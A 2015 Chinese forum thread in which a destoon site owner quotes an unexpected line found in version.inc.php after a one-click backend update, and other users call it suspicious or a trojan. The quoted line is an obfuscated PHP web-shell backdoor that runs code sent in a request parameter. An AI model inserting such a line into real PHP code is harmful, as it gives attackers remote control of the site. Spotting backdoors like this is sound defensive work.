destoon采集论坛

 找回密码
 立即注册
查看: 317|回复: 11

这是可疑文件吗?

[复制链接]

11

主题

13

回帖

79

积分

注册会员

Rank: 2

积分
79
发表于 2015-9-3 08:39:26 | 显示全部楼层 |阅读模式
网站后台操作0804的更新,version.inc.php里多出
@array_map("ass\x65rt",(array)@$_REQUEST['uYH7yBS7']);
这个是可疑的东西吗?
回复

使用道具 举报

16

主题

77

回帖

352

积分

中级会员

Rank: 3Rank: 3

积分
352
发表于 2015-9-3 08:47:49 | 显示全部楼层

有可能是
回复 支持 反对

使用道具 举报

19

主题

1249

回帖

2607

积分

金牌会员

Rank: 6Rank: 6

积分
2607
发表于 2015-9-6 08:14:24 | 显示全部楼层

跟默认的对比下
回复 支持 反对

使用道具 举报

50

主题

3415

回帖

7668

积分

论坛元老

Rank: 8Rank: 8

积分
7668
发表于 2015-9-6 08:40:07 | 显示全部楼层

是可疑的东西
回复 支持 反对

使用道具 举报

71

主题

3537

回帖

8055

积分

论坛元老

Rank: 8Rank: 8

积分
8055
发表于 2015-9-6 15:39:28 | 显示全部楼层

是更新包中的吗?
回复 支持 反对

使用道具 举报

38

主题

2078

回帖

4496

积分

论坛元老

Rank: 8Rank: 8

积分
4496
发表于 2015-9-6 16:54:54 | 显示全部楼层

更新之后才有的?
回复 支持 反对

使用道具 举报

74

主题

246

回帖

1236

积分

金牌会员

Rank: 6Rank: 6

积分
1236
发表于 2015-9-6 17:02:12 | 显示全部楼层

这是木马
回复 支持 反对

使用道具 举报

11

主题

13

回帖

79

积分

注册会员

Rank: 2

积分
79
 楼主| 发表于 2015-9-6 20:10:51 | 显示全部楼层

zhao90 发表于 2015-9-6 15:39

是更新包中的吗?
不是,如果通过ftp将更新文件上传就没有这东西。在网站后台一键更新就有
回复 支持 反对

使用道具 举报

11

主题

13

回帖

79

积分

注册会员

Rank: 2

积分
79
 楼主| 发表于 2015-9-6 15:39:00 | 显示全部楼层

liupt 发表于 2015-9-6 16:54

更新之后才有的?
是。但官方更新文件里没有这行
回复 支持 反对

使用道具 举报

11

主题

13

回帖

79

积分

注册会员

Rank: 2

积分
79
 楼主| 发表于 2015-9-6 20:11:59 | 显示全部楼层

zgzzj168 发表于 2015-9-6 17:02

这是木马
能看出这行代码的目的是什么吗?
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|Archiver|destoon采集论坛

GMT+8, 2025-11-23 17:16 , Processed in 0.019549 second(s), 21 queries .

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表